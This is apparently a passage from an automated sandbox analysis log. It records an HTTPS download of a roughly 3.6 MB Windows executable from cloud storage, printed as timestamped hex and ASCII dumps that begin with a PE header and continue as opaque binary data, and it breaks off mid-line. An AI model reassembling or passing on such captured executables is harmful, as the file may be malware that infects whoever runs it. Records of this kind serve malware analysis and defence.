1640642371383841 x-goog-hash: crc32c=mwF9kg== x-goog-hash: md5=5b2KU2I1IsSczDW8SStaEQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 3624448 X-GUploader-UploadID: ADPycduw0w5hcBVS2VQwj415UE2nRQkehn2IgtC0_W7PDK9X6ZX9iEsQoVWrqGNwhFEYPKa8HRC0tAwTujxKmAeArUU X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-28 04:19:41 UTC	1054	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 4d 48 61 6a 45 74 71 7a 36 6c 59 4f 71 53 78 71 67 43 68 4f 57 45 50 54 57 48 53 39 36 52 58 76 69 25 32 46 59 44 33 4b 73 52 43 41 39 6a 75 42 46 25 32 46 75 6a 58 31 62 74 48 48 46 73 41 55 72 42 45 33 59 62 6d 69 51 5a 79 34 71 74 31 37 4a 78 38 62 6b 35 42 38 4a 76 61 55 73 7a 46 47 44 30 36 53 6d 71 57 54 32 42 43 33 34 43 70 41 72 38 6a 62 50 79 52 6a 6e 71 52 46 41 37 78 62 47 34 78 44 6d 4b 25 32 42 55 4a 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MHajEtqz6lYOqSxqgChOWEPTWHS96RXvi%2FYD3KsRCA9juBF%2FujX1btHHFsAUrBE3YbmiQZy4qt17Jx8bk5B8JvaUszFGD06SmqWT2BC34CpAr8jbPyRjnqRFA7xbG4xDmK%2BUJQ%3D%3D"}],"group":"cf-nel","max_age":
2021-12-28 04:19:41 UTC	1054	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 32 ff c9 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 20 02 00 00 cc 02 00 00 00 00 00 00 40 02 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 55 00 00 04 00 00 61 5d 37 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL2a @@@Ua]7
2021-12-28 04:19:41 UTC	1055	IN	Data Raw: 6d f7 f1 90 1e 11 d8 48 dc e9 1d a9 aa 7f ed 0c 1c c3 39 4f a3 7a b7 f7 07 9d f3 f0 99 3f 9c 30 f5 b9 d7 ff 4d 4e 88 60 40 67 38 98 53 87 10 17 1d 1a 0b ab 43 c2 fc c8 68 8d 2e ef ff 7f bd 62 ff bc 5f a3 2a c3 5a b2 89 c3 b2 4c 6c ca 60 39 49 d1 5c 47 09 c6 6e 0d 95 1c be 5b 75 d0 1a 19 55 f2 3e 1e dc 78 0e 2a 82 94 0f 85 f0 8f ce a3 1a df 6d 7a a7 92 d2 78 65 8c 9a 83 d8 ec 83 d2 6d ce 8f 28 53 a1 3d 38 6d d7 19 cb ad 79 11 be 40 eb 11 f2 dd 26 ed 6b a5 8f 01 34 f2 60 96 4c 4d 9f 43 ba 5f 9e 0b 18 43 e4 31 e9 ee c5 77 ca d8 6c ea 0d 54 64 fa 19 cb ae a8 4d 5a 0e 59 71 c3 bc 13 77 2b f6 39 00 8d c1 89 8b 3b 0d e0 62 71 bb bd 8f 3e fa d5 44 63 9c b4 dd 9b 80 fe ff cd 5d 68 07 8f 80 0e 29 d3 0c 9a b6 8d 75 66 ae 5b 80 db a8 b4 cc b3 45 33 ba 0c 56 c3 aa 4d Data Ascii: mH9Oz?0MN`@g8SCh.b_ZLl`9I\Gn[uU>xmzxem(S=8my@&k4`LMC_C1wlTdMZYqw+9;bq>Dc]h)uf[E3VM
2021-12-28 04:19:41 UTC	1057	IN	Data Raw: a1 40 9c 95 7d 5b ab 99 83 5d ae 3d 64 72 f4 6f 41 ed 4a 8e 30 a5 c6 a3 84 57 3c 3d 9f ad 10 ae 71 c9 96 da e6 b9 50 3b f5 4f ae 8f 37 79 83 b3 08 2e 99 83 43 e1 c8 db 2b 93 be 75 73 90 83 fc 94 fc a7 48 25 40 ff 53 72 3a 48 b6 66 55 fb 72 14 7e 07 97 bf 9a 05 dd cd 62 fb 82 4c a7 6a 70 20 34 97 a2 f8 4c 2f fa 43 84 af 7c f9 3d 38 fb 75 cd e6 e8 3d 64 4b 8d f7 df 81 c5 d9 ec cd 27 f9 73 fc 63 86 45 87 1f bf ce a8 44 c8 31 d3 29 ce f5 e5 95 c5 dd c0 cf 3a d0 8d b5 5c 1e 16 32 72 d5 45 9b 36 50 b4 ae 4c 56 2f cb e8 5a 46 ab 28 9f ed 3c c9 5f c0 72 e0 11 df dc 82 d6 19 a0 e4 36 4e 36 51 a6 28 a5 70 3d 59 26 6c 7a 57 5b a4 d5 f8 80 52 ee 45 c4 63 9c 98 90 8d d2 18 53 65 f4 0d 94 9d 7c 8f 43 51 fb 71 41 05 29 a1 da 84 38 fa 88 44 4b e6 af 4b cd a6 4e 38 17 c8 Data Ascii: @}[]=droAJ0W<=qP;O7y.C+usH%@Sr:HfUr~bLjp 4L/C\|=8u=dK'scED1):\2rE6PLV/ZF(<_r6N6Q(p=Y&lzW[REcSe\|CQqA)8DKKN8
2021-12-28 04:19:41 UTC	1058	IN	Data Raw: d3 61 01 e7 16 c8 72 8c a1 e5 a5 00 08 91 24 24 ca 8f df 01 44 cd 17 c8 e2 90 50 1c 8c d7 a3 a1 fe cf b3 3a 26 02 9c 6b 95 0d b4 b4 18 49 8c 81 da 1d 6c 0d 9e f5 5d b6 90 2b 92 2b d0 09 c4 21 60 05 eb c1 e5 fd 10 73 48 f4 40 64 9c 7a 5f e1 93 95 0d 69 b8 04 37 90 17 e1 79 74 6b 6f 74 c0 06 f2 ef e0 99 7d 58 20 6a 44 e8 9d 60 96 1f 0a 81 21 6a cc b9 b3 8f 27 05 46 49 29 ff 20 cf c0 c4 cd ef c6 7a 84 1c 14 28 0f 68 46 82 f7 32 46 53 f9 f2 13 4b 25 3b ca 84 00 35 26 e3 f3 87 19 fe db 37 12 99 08 64 b0 f8 4b fd 8b 84 57 89 5c 86 23 e5 61 35 03 0a e7 c6 a0 a2 a7 bf 36 2d 52 0b ef 53 44 ac c1 21 57 13 39 dc 61 9a a8 a5 df f5 49 d2 10 1d ac 77 cb f9 4a 99 b2 8e b1 15 1e 44 d9 8b c2 9c 27 a7 aa a9 b0 b9 62 55 a9 48 e3 84 68 ca cf 4d f1 4a ab 8d 40 7d d1 9d 70 62 Data Ascii: ar$$DP:&kIl]++!`sH@dz_i7ytkot}X jD`!j'FI) z(hF2FSK%;5&7dKW\#a56-RSD!W9aIwJD'bUHhMJ@}pb
2021-12-28 04:19:41 UTC	1059	IN	Data Raw: 49 71 e4 03 63 86 de da 7b e6 bd 8f 03 a7 55 37 ae c2 98 dd 8a 5c 80 bf 28 26 42 ac fa a6 48 da d7 71 f0 9e eb d0 ca 5c 75 d1 7c d0 c7 6d 93 66 d9 94 2c 7f 4d 0f 34 ee 48 e7 36 1a 2a e2 2e e9 5c 2a a5 af 9e 90 b4 1d 19 7a 46 7b 1a 00 6b 11 cf e1 18 2c c2 ea 87 73 b1 47 19 94 48 29 d4 54 84 5a 78 1a 7f 41 d2 6f 2b 3c d6 52 04 0d 97 b0 70 21 af 39 51 1c 34 00 f2 18 25 f3 7f 5c ad 9a a4 94 f8 57 7e 5e 87 34 09 a5 f3 38 29 ed 64 3a 38 f1 46 df 6e d8 13 0b 0c de c2 4a 31 74 46 26 b5 0a 3b 02 8b a8 2d 74 67 48 d2 e1 a8 c7 6c 58 1a 83 89 9a 98 cb 5a 88 14 33 0a e5 2c 82 3d 5d 8b 4b bf 4a 59 f3 83 f3 47 58 94 a5 d2 e5 98 14 69 b2 15 25 b3 b8 29 db 21 cd 47 aa 54 d3 c0 89 70 65 02 52 4a 37 b0 f3 3c 52 e5 b5 4a 19 d9 a1 bc 50 05 b6 ff 67 51 a8 21 28 c6 0e 86 b3 68 Data Ascii: Iqc{U7\(&BHq\u\|mf,M4H6.\zF{k,sGH)TZxAo+<Rp!9Q4%\W~^48)d:8FnJ1tF&;-tgHlXZ3,=]KJYGXi%)!GTpeRJ7<RJPgQ!(h
2021-12-28 04:19:41 UTC	1061	IN	Data Raw: 02 79 f3 f3 4c 24 81 66 5d ad b0 0a 9e 9e 2b e8 eb 0b 5f 3f b0 1d 39 3a 8f 35 7d c9 00 b1 21 0b 1f 3b 98 0a 7e 01 f1 ce 57 f3 8f 38 d3 a5 53 c8 56 00 71 c6 ff d8 40 fa 7e 02 28 1a 99 94 fa 48 b8 5b 49 40 f3 bb f4 aa 2a a0 59 a7 a3 9f 51 e4 d9 f2 79 1d 64 32 90 9c 42 84 71 7a 7c b1 2a ce 9d 32 f9 4d 0c d8 73 90 c5 70 b1 d2 55 03 8b 13 19 5a eb 5f 03 be c0 05 11 fe 0d f4 68 fc f9 b9 38 16 81 20 9f 2c 89 0c 51 96 e3 0d ba aa f6 0e 4a 7e 9d 1e 5f 19 a7 ea ce 61 44 b9 18 7b 0b fe 9b 34 90 77 7a f3 b7 15 22 c3 3a bd 2c 9a 6f 42 51 65 33 6b 0d af 9e f9 13 b4 03 41 61 37 c4 78 09 8e aa de 96 71 48 fd bf 9a 46 78 21 7e 97 84 71 3e c2 11 6e 1d 75 cd 78 95 a0 31 34 73 45 76 df bb c5 e7 25 47 20 48 ae 58 d8 12 07 67 a6 f3 e6 35 75 72 73 e8 a1 07 7f 87 17 89 7c 1f e1 Data Ascii: yL$f]+_?9:5}!;~W8SVq@~(H[I@YQyd2Bqz\|2MspUZ_h8 ,QJ~_aD{4wz":,oBQe3kAa7xqHFx!~q>nux14sEv%G HXg5urs\|
2021-12-28 04:19:41 UTC	1062	IN	Data Raw: ef 4d 31 38 30 2a 23 2d 87 fa a1 27 6c 87 67 91 18 66 e3 5d 51 0a 26 28 0c 72 71 44 ec 49 92 b7 17 35 0c 0e 50 79 a5 15 b5 e2 fd 9e 1e 7c c7 c0 7b 41 b1 95 99 9b c4 e6 eb 89 8f 7b 06 53 02 45 da 86 e2 ac 58 f2 19 c9 ee c8 84 7f 5f 19 6e 85 f7 5a a3 5d b4 38 4b 45 3e 92 c6 53 75 ed cc 6b 6a 97 91 3f 5d 62 b7 07 f5 11 ab ce 69 30 a3 7b 85 41 c0 74 a5 2f 71 7e 44 d1 ca 35 06 59 5d 01 c4 f7 a8 68 24 35 04 99 08 0f 67 ec ff 91 35 5d a0 6f 90 f4 0f f3 a9 86 19 e5 1c 43 47 22 56 c8 92 7e 8f 0f 40 0d 70 e0 aa 70 01 91 aa 3a 80 32 42 9e 17 ae 5a bf e7 e0 ad c1 55 c0 06 4e 36 29 5a 13 1e bf 8e 2e fc 2e 13 77 f5 d1 4c ac e2 29 c8 72 5a 9d 48 a1 69 96 9d f3 10 e7 53 57 b8 aa b6 5d 28 ab b8 63 c5 62 d6 e2 4f ec 97 12 ac 4a 4c 1f 6e bc 31 41 8d e5 e0 c2 9b d5 06 0b 15 Data Ascii: M180*#-'lgf]Q&(rqDI5Py\|{A{SEX_nZ]8KE>Sukj?]bi0{At/q~D5Y]h$5g5]oCG"V~@pp:2BZUN6)Z..wL)rZHiSW](cbOJLn1A
2021-12-28 04:19:41 UTC	1063	IN	Data Raw: 55 55 16 01 a4 1e 9f 11 0c 63 59 69 91 55 02 10 35 c1 53 f9 49 06 3c 73 e0 ab 64 ba fc 52 54 8c d6 d8 6e 01 f3 e1 c2 bd ff 42 6b 29 da c8 97 a7 5a a5 c6 e9 e1 70 c4 e7 a4 e3 50 55 e7 5a 99 9c a4 7f 10 91 10 96 41 eb b0 5f e0 44 8f 5f 3d ef cc 8a c2 db 5c d7 8b f9 82 75 8b e1 11 c0 e3 0c 66 79 1a 89 61 10 a1 f0 1f f7 3d 18 26 94 37 41 40 1a 92 80 06 d7 e6 90 87 ae 7e 1a c4 0a 6e 04 21 be 5e 53 08 d6 d8 bb e9 75 69 a4 6a c7 fa 75 7b 41 1a 6d 43 3f f1 e3 eb 7f 89 fe 63 43 d5 a7 03 55 5b f2 2e b6 48 0b f9 54 04 5b 5c c6 21 9e 39 b0 41 b7 f0 ea 5b 3d b3 d6 5a 6d bf e7 a0 b0 de 63 8a b8 c2 df 2a cb a3 a0 d8 91 3d 09 94 8f 39 ad a6 de 03 c2 3b 1a f3 d3 99 24 c2 de 47 85 60 e0 21 7a 8c 2c 0a 34 b2 63 d2 36 e5 d9 4b 48 0c 3b a2 21 8e 05 3b 50 66 99 5d 8a 89 51 42 Data Ascii: UUcYiU5SI<sdRTnBk)ZpPUZA_D_=\ufya=&7A@~n!^Suiju{AmC?cCU[.HT[\!9A[=Zmc*=9;$G`!z,4c6KH;!;Pf]QB
2021-12-28 04:19:41 UTC	1065	IN	Data Raw: ce 1b 58 e6 ca 51 85 a1 5c 16 c1 95 91 1c 9d bd 56 63 b7 f5 3e 8e 39 b5 4a 79 51 bf e0 e3 60 4b 57 77 e3 8c 04 35 13 10 a2 71 e5 5d e0 5b 16 3c 30 bf 3a f7 65 6f c4 85 55 e9 0d 8f a7 06 6b 1f 90 64 07 1a d1 6e 2e 57 22 c1 76 17 9c 7a f9 98 8e 48 b9 f8 02 3e f5 72 eb 1a 92 02 1b ae b3 77 12 82 3a 58 b6 0f c2 3c 80 42 64 69 4c b8 d2 55 dc 21 84 5c 0c f0 76 ad 9a 96 53 73 be fb bf 08 79 29 34 a0 49 c5 6c fd 6f dd ba 02 a8 66 59 78 00 28 ce c8 92 0c 20 27 e6 9e 2c 26 cb c0 de 83 6e c6 72 43 29 c1 a2 9a bf e8 73 50 e2 33 b3 22 f5 cb fc 03 5c 9e 15 a0 7b 55 05 66 30 a5 3b 98 5e 37 95 29 09 d8 d0 85 39 e5 e4 8a cd d1 29 d9 54 cb dd 6e cd 3f 77 98 29 30 f3 a5 e8 8b d8 15 08 1c 17 1c 85 cb 36 83 63 0d f7 dd dd 7a 30 ea fc eb 38 7c 90 31 bf a3 61 be 23 9e dd b2 e9 Data Ascii: XQ\Vc>9JyQ`KWw5q][<0:eoUkdn.W"vzH>rw:X<BdiLU!\vSsy)4IlofYx( ',&nrC)sP3"\{Uf0;^7)9)Tn?w)06cz08\|1a#
2021-12-28 04:19:41 UTC	1066	IN	Data Raw: 08 02 f4 b0 89 2d 99 21 ee f4 20 27 6d 32 c9 54 ed 0d 3e 26 0f 11 63 17 d7 7d 21 a8 e7 f1 99 4f 39 6b cf 5a 0c 24 cd 0c d3 f2 a4 d9 8f da 45 bf 79 1a 41 26 42 40 89 4c 5d 11 bf a5 34 a4 ed 83 88 20 98 31 1c e9 ac fb 17 23 1f 79 3d 24 2d 13 9c f0 d5 17 28 da 33 03 4d 26 5e b6 56 f1 b2 e2 96 5c f2 60 5b d3 43 04 df 42 56 27 1e cc f1 d6 46 fe a3 2d 41 8b de c9 8a 52 37 82 26 03 a6 ae de f1 fc 6d 62 7c 59 3a ef 8c 4f 94 f3 78 ba 63 7d 74 9b 16 01 3a 39 91 e2 fc 90 de ab 78 05 b1 89 42 d5 cd a3 1a 36 c8 60 53 e2 f1 21 93 df fe f1 d1 fa 75 bd 0a 51 79 62 43 ec 8a 2c 52 b4 d9 80 83 5b 98 f8 2f 27 a3 82 1d b0 dd ea e5 bb b2 15 b3 24 0a 70 ef 11 34 82 9c f5 e4 69 dd fe 51 02 28 be 86 49 97 8b 70 1e 2d 23 b1 8e 92 8f ff f9 39 93 4d 3f 97 d8 da 0f 5d a1 75 9c 4b 86 Data Ascii: -! 'm2T>&c}!O9kZ$EyA&B@L]4 1#y=$-(3M&^V\`[CBV'F-AR7&mb\|Y:Oxc}t:9xB6`S!uQybC,R[/'$p4iQ(Ip-#9M?]uK
2021-12-28 04:19:41 UTC	1067	IN	Data Raw: bc 17 25 af fc 1a 32 95 35 e9 92 66 d2 b8 ca 84 5c 05 5a 26 e6 1b 07 62 dc a3 39 47 35 5f aa 52 79 b6 3e ae a0 7a ea 90 01 5d 95 1d 86 c0 e9 9e a8 4c 72 0b 00 34 ee 56 0b 2b c7 7f b1 d8 cc 6d 96 af 2a f7 cd 7f 85 f9 13 70 11 dd 11 7f 8c 53 2d 5c aa a4 c5 d7 73 3e b6 7d b0 12 a9 98 31 d3 96 9e e8 69 10 1c 69 02 ad 37 04 97 38 d7 1b 1d 4a 43 28 fd 57 2f 21 b1 f8 da 56 76 dc 4d cd 7c 2a 49 4b 5f 57 68 08 b9 73 7f ff 4e d2 25 d4 07 84 69 16 00 12 83 94 6b 6c f7 a1 1f 4c 92 0e 00 8b 7f ef 9a 64 0d 0e 3a 42 8d 19 cf e3 e6 d2 a1 f6 ee ab 48 8e 4e 9b b4 f9 e6 c3 1b 23 ce 68 f9 8d 6a 69 d7 34 7f 24 bb 6b 87 d2 f8 d3 e0 8c 6e d2 90 86 7c bc 45 11 9d 70 5d 1f a8 d5 f5 65 0b d9 b6 8a 26 ca 8f 80 f6 91 78 49 f3 5b 14 f6 94 a0 f7 c1 c7 f6 ad d1 ba 57 8b de 65 46 60 16 Data Ascii: %25f\Z&b9G5_Ry>z]Lr4V+mpS-\s>}1ii78JC(W/!VvM\|IK_WhsN%iklLd:BHN#hji4$kn\|Ep]e&xI[WeF`
2021-12-28 04:19:41 UTC	1069	IN	Data Raw: be 1e 63 7c 04 5a cc 70 b0 74 a9 dc 5c d2 bd eb a0 a3 4d 30 1c 3c 0f f1 5d a2 43 a7 f2 13 9f e4 07 47 71 9c d1 45 87 06 b4 94 88 f1 ff 27 07 e8 2f 4b 01 df cd 2e cb 72 34 ae 93 55 3a 15 f5 cc a0 41 74 81 c2 d7 68 12 a9 64 bd 6f 94 44 b8 19 43 1b 94 1c 8d 31 51 2d 23 33 92 f5 45 4a e8 6d e3 74 78 f2 35 a6 48 4c 39 fb c9 e9 ae 50 df 72 b0 e4 d0 d1 4a 8c a3 72 e7 55 e1 ca 6b 5b 58 b9 7a 68 f9 59 ab 45 d3 98 f5 f2 5c 22 cd 89 aa a7 49 99 0d c3 e0 7f dd ea 8d f0 31 d2 54 46 46 9f bc d5 90 c6 a7 93 04 74 32 79 c8 85 41 1f f6 97 87 1e c0 9c e5 63 7c f2 4e 65 f5 90 82 bf 03 3a e4 cc 07 e8 d6 1a 9e 65 14 43 a4 c9 38 a7 d4 84 1c f8 ba d0 eb 99 41 2c 92 21 2b 1a d8 3d be e0 a9 5b f5 f8 75 c1 1b a2 b1 c5 e6 db e8 f1 9a c0 1b dc e2 47 ac 37 43 03 c9 c2 59 1e bf 99 3f Data Ascii: c\|Zpt\M0<]CGqE'/K.r4U:AthdoDC1Q-#3EJmtx5HL9PrJrUk[XzhYE\"I1TFFt2yAc\|Ne:eC8A,!+=[uG7CY?
2021-12-28 04:19:41 UTC	1070	IN	Data Raw: 81 74 27 a9 bd 42 73 95 53 42 88 39 e7 8f da 9c 37 9e 64 09 7b fc ca 77 3a 55 c8 98 d9 8d 8d 84 83 1b 27 10 4d 6d f6 30 1d d4 21 2c 4c ab c0 e2 18 3e 6c af 51 8c 34 d0 4d e0 94 20 98 05 34 b0 45 19 98 59 0a b5 85 57 46 0c 18 e2 9e 4f f1 01 5a 74 13 cf 5a 95 25 97 7a 3b 65 c6 7c a2 a1 c6 04 f6 dd 99 15 cc 89 ee 8c 1f 76 a0 86 06 04 b4 ed d3 98 d0 3e fb de 88 1a 0f 73 1f b3 fa 00 81 2d e9 32 98 c2 62 bc db 6b 28 9f 82 3f ed e2 b7 6c 4f aa fb 3b d5 80 24 27 17 f0 a3 88 55 05 f2 3c c8 a8 da 1f bc a6 21 42 98 93 24 d9 4b 32 db d8 7a 25 79 43 b2 da 35 9e c7 40 18 6c 35 41 bd db 68 ff 41 53 f3 15 61 d2 db 94 7d 03 ba 44 9b a0 ca e9 ae 98 c0 34 69 41 f4 94 a9 90 9c b7 7b ce 0c 42 1f 6b ea 7e ce 63 32 79 f0 bd 48 61 60 7f 8b c9 24 f3 5e 1a aa fe 72 02 9d 95 cd 4e Data Ascii: t'BsSB97d{w:U'Mm0!,L>lQ4M 4EYWFOZtZ%z;e\|v>s-2bk(?lO;$'U<!B$K2z%yC5@l5AhASa}D4iA{Bk~c2yHa`$^rN
2021-12-28 04:19:41 UTC	1071	IN	Data Raw: f3 ab 25 88 b0 75 d2 4f aa bc c7 e6 a8 cc 19 03 f1 c9 e4 fe f4 86 4f 4d 6a 84 49 ad 5f 41 7e 7c 6c be 92 85 3a 25 39 88 94 49 ee 66 d1 99 ad 9d 67 b6 18 b9 56 54 c8 7e d8 ca 27 2a 1b 85 36 55 d5 32 07 5e cc 7b 41 b2 8d 78 0e fd 55 31 9a 77 ef d6 0e dd e0 d6 37 c0 aa 51 58 89 84 36 c1 6c 22 f6 9b b3 ff ec bb d0 11 09 8a 45 fd 06 26 ed d2 97 53 ad 0c 43 97 f6 be 7a 24 c6 6e 8f 97 31 9b fb cb 82 1a 90 dc d3 cc 94 a4 39 2a ba ab 12 c7 a4 ff 16 55 f1 5d 7e 0c 0a e9 db 1f 43 52 d7 b0 12 ea 59 46 3b a9 ee a3 81 ee 1b ac 82 bb 93 d5 ce d8 8c 9e 15 d4 18 4c a4 32 3f ce dc 5b b4 3b 82 f7 f1 1e 85 dd ca 78 6d c0 7e c3 03 0c e0 b5 f6 fc 77 30 d4 a1 cd be 1f 75 eb 98 68 f4 45 94 4d b0 70 de c0 ea aa 59 1f d2 92 bb f9 f6 22 3e 2b 81 32 2e f0 27 66 5b 6a 5d 3b 74 48 85 Data Ascii: %uOOMjI_A~\|l:%9IfgVT~'6U2^{AxU1w7QX6l"E&SCz$n19U]~CRYF;L2?[;xm~w0uhEMpY">+2.'f[j];tH
2021-12-28 04:19:41 UTC	1073	IN	Data Raw: 52 b7 32 8a 2d d3 70 d0 91 ac cb 52 08 7f 7d 01 93 f1 a7 f3 8d f0 4f ee 4b 80 9e 4f 25 df 8a 93 52 e1 ef ab 69 c7 dc 45 1b 7e 21 9f 30 8e 33 f3 c5 83 77 89 8e 21 b2 00 f3 86 82 fc cc 3b 92 2b 34 a8 b1 fd b4 8f 2b 4c fe bb f7 7a 46 6d ee 22 66 0d eb 99 44 6d 7e 75 6e 33 da 04 ba c1 da f1 a5 a3 14 fb 4f 05 57 b1 3e 36 d9 5e 97 77 4f fa 49 9f b0 4a 4a b4 96 f4 5c 86 00 e9 1f f9 c3 63 7c 43 53 59 fd 94 9e 59 f5 34 d0 ed 59 ce 93 dc 97 55 cb c8 78 0e 08 56 45 8e cc 63 28 07 03 af fd fb 72 f7 af 8e aa cc 0f a8 d7 75 08 5b 73 8f 2f ad 1b 53 f3 7a 36 9b c5 89 44 f9 ff c7 1b 47 d5 18 f2 61 52 74 5b c5 96 0a 85 b6 33 0a cf ed 03 56 61 85 55 ed c4 c0 0f 01 89 8f 46 1d 32 e8 fc cc bc 43 93 01 4b ec fa 15 7f 18 2d d4 43 b5 fa 0e 71 76 80 91 a1 45 78 dd cd be e7 26 a1 Data Ascii: R2-pR}OKO%RiE~!03w!;+4+LzFm"fDm~un3OW>6^wOIJJ\c\|CSYY4YUxVEc(ru[s/Sz6DGaRt[3VaUF2CK-CqvEx&
2021-12-28 04:19:41 UTC	1074	IN	Data Raw: 61 32 df cf dc 9c 80 87 a7 05 84 95 3e 71 92 79 47 ce 64 6a 97 94 8c 78 e6 f6 cb 73 f5 6e e8 2b 19 04 55 57 c0 91 53 80 4f 89 c9 90 64 68 e0 bb 9c eb c5 00 35 a1 b7 ff 93 40 2c bb ea c2 66 57 22 0f f2 06 83 61 37 88 a0 19 c6 17 7f 98 79 03 5d dc a4 01 25 d7 31 eb a0 c7 bc 64 9e 07 f4 e3 26 2a 31 0b c2 5e e2 53 f7 02 de 63 1e 68 71 e4 ef a6 9a 39 61 92 3d 0b bf d0 24 bd 7c dc 6f 62 49 37 87 0f ec dc bd 95 1b fd 89 03 ea 5d b9 28 a8 8a 70 63 71 3f 1e 69 ad fd 70 c1 f8 a0 2c 4e f7 a0 84 95 67 d5 a1 2e 52 6d 3f 0e be c9 84 b5 ad 26 38 e8 48 65 00 48 d5 c4 61 b4 4e 3d 26 c2 13 3f ba 9d 9d dc e8 ea 41 18 16 c2 f6 b2 39 aa b9 fd e9 3b 42 ff be 32 67 2c f7 73 e9 ba 45 31 4c 0e ff df 05 10 04 0c 47 60 ad 58 f8 b7 85 84 b4 17 f7 4b e8 df 1d 56 ce a3 d6 95 07 66 17 Data Ascii: a2>qyGdjxsn+UWSOdh5@,fW"a7y]%1d&*1^Schq9a=$\|obI7](pcq?ip,Ng.Rm?&8HeHaN=&?A9;B2g,sE1LG`XKVf
2021-12-28 04:19:41 UTC	1075	IN	Data Raw: c5 3b 36 0d 95 c6 70 77 4f 6b ed 20 97 fa d5 6e 86 8b 58 1a ac 13 de 2a 2a 0d 69 a9 50 6d a4 fd 20 33 0e 6f 97 45 27 be 36 0e 07 43 cd e8 06 35 4b 87 24 86 b6 5f 71 69 96 d1 86 6b 07 77 2a b1 6c 07 bc 3e f6 b8 d9 8b c9 48 b2 66 df 18 f0 7a 48 79 27 97 fa ea 31 dd db 4a b7 39 c0 dd 52 46 b2 bb 95 54 dd 9f 16 cb e7 d6 48 69 0d 6b 03 c6 eb 03 65 0c d5 bc 24 fb c9 2e dd 6c f4 4b a3 fb bb ae 4c 52 73 7b c3 6c 4e 19 a3 b7 15 22 3a f4 ec ca 8a 09 56 12 ff a6 19 7b 30 d8 3a 5f 6d 64 a6 9d b3 c2 91 b3 29 0a 6f 79 d5 4a cb 8e ba 36 6b bb d7 ec d6 78 f9 cc e4 80 f7 bc 5e e8 b8 4c f6 72 f3 2a 53 f4 ab 36 68 9a 00 0a ee da 55 53 77 d3 93 a2 44 db d6 7b 2e eb ec 76 13 c3 fb bf 12 51 7a d6 99 0f 27 ee 86 27 05 7e 80 cd b9 43 ea 18 65 3d f0 b2 78 0e 5e 4e c5 18 ff 12 d1 Data Ascii: ;6pwOk nX*iPm 3oE'6C5K$_qikwl>HfzHy'1J9RFTHike$.lKLRs{lN":V{0:_md)oyJ6kx^Lr*S6hUSwD{.vQz''~Ce=x^N
2021-12-28 04:19:41 UTC	1077	IN	Data Raw: 5c 27 3d 23 db 45 12 47 0b 08 52 a6 54 8d 1d a6 7b 40 be 05 f3 ae 0a 8f a5 e0 bc 37 8d 43 f4 61 0d 2a 6e 2e b4 c3 14 cb 1e 85 ac d3 8a 32 84 5c 2f 7e ba 2a 1a 9c 87 f4 03 94 dc 2b 4d d2 85 08 75 e9 ae 6e 46 cb 54 db 68 cd d5 2c a5 f3 bc af 73 41 b3 88 f3 0e 25 02 72 fb b3 1f 39 cd 49 67 4a 7b 15 d5 10 f0 88 ab fe 0b 21 66 cf d8 01 dd 0e 0d 56 4c 98 ac a2 12 f0 e8 74 cc 7c 97 8e 93 b9 03 f1 d7 84 97 f8 19 76 65 36 8f 34 9a 16 24 db d4 d5 74 5a 65 e9 c8 af 17 b1 8f c2 86 a4 ca e2 d2 fa e2 f5 dc 45 b2 6c 45 05 62 05 96 03 11 e9 bb 2c 2e 18 1a d5 e3 eb 4c 78 54 6d c6 24 1a 69 9c a8 dd b6 6a 3d 75 4b 19 3f 56 b3 a4 98 3b f6 10 67 e1 2a 7c db 64 7c 11 0a ee f4 84 c8 7e 5a 1c ef ee 6c 72 32 e6 f0 17 83 e4 0c ab 03 ee 81 34 8c bc 58 d6 a6 c9 d0 93 33 3f e4 7d 73 Data Ascii: \'=#EGRT{@7Can.2\/~+MunFTh,sA%r9IgJ{!fVLt\|ve64$tZeElEb,.LxTm$ij=uK?V;g*\|d\|~Zlr24X3?}s
2021-12-28 04:19:41 UTC	1078	IN	Data Raw: 35 4b e4 2d 0d 75 a2 34 b3 f6 a2 d0 a0 f3 be c3 5e 3e 38 0b 19 58 14 d8 51 f5 00 de 1b 96 ab 37 ef 12 6f 5b 0d d9 7d 74 9e 09 7a 21 2d aa 3a a2 83 b2 01 95 e0 49 65 40 27 8e 4e c1 48 7b e9 3a e4 84 8b e4 24 7a 79 e0 c8 46 b9 16 4d a1 4f 60 e5 93 ca 79 23 33 61 3e ad 36 14 01 e7 ee 59 92 36 c3 06 c3 c8 49 8f 7f 9e ec 19 c9 d1 0f 2a d5 59 fb 2a c6 dd 6a b1 63 f6 38 cb d4 68 9b da 3d a0 d0 45 c6 d1 89 33 0e ba 64 29 36 cb c0 c3 e8 8e ff 2c df 64 39 1d 83 ba c8 ee ef e1 6a 1a 12 ec 71 90 bf d2 92 fa 0b 09 17 25 da 7f a9 a2 47 3e 99 ce 38 a9 ad f8 d1 60 06 ce 74 ab 